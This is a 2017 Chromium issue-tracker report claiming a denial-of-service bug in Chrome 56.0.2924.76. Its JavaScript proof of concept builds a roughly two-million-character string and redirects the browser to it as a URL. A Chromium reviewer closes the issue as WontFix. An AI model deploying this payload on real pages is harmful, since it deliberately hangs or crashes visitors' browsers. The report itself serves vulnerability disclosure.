Security: Google Chrome 56.0.2924.76 - address Overflow Denial of Service
Reported by
wassl...@gmail.com,
Jan 27 2017
|
|
Issue description
Hy Google Security I found a new Security bug in Chrome 56.0.2924.76.
Title: Google Chrome 56.0.2924.76 - address Overflow Denial of Service
Tested on: Win7 - Winxp
Author: Nassim Asrir
Explain:
Last Year i find like this security issue in other Browser and now i test it on Chrome. now we have not more for explain just copy the Javascript code and upload it on Webserver and launch it in Chrome.
Code:
<script type="text/javascript">
function mul3 (str, num) {
if (!num) return "";
var orig = str,
soFar = [str],
added = 1,
left, i;
while (added < num) {
left = num - added;
str = orig;
for (i = 2; i < left; i *= 2) {
str += str;
}
soFar.push(str);
added += (i / 2);
}
return soFar.join("");
}
var junka = "a";
var junk = mul3(junka,2097033);
window.location.href = "http://" + junk;
</script>
</head>
<body>
</body>
</html>
|
|
►
Sign in to add a comment |
|
Comment 1 by est...@chromium.org
, Jan 27 2017Status: WontFix (was: Unconfirmed)